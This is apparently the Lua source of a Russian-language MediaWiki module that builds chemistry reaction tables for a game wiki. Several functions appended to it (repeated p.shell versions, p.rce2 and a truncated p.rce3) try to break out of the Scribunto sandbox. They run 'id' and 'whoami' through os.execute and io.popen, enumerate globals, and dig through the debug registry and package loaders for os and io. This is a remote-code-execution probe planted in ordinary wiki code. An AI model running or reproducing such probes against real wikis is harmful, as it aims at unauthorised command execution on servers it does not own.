		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
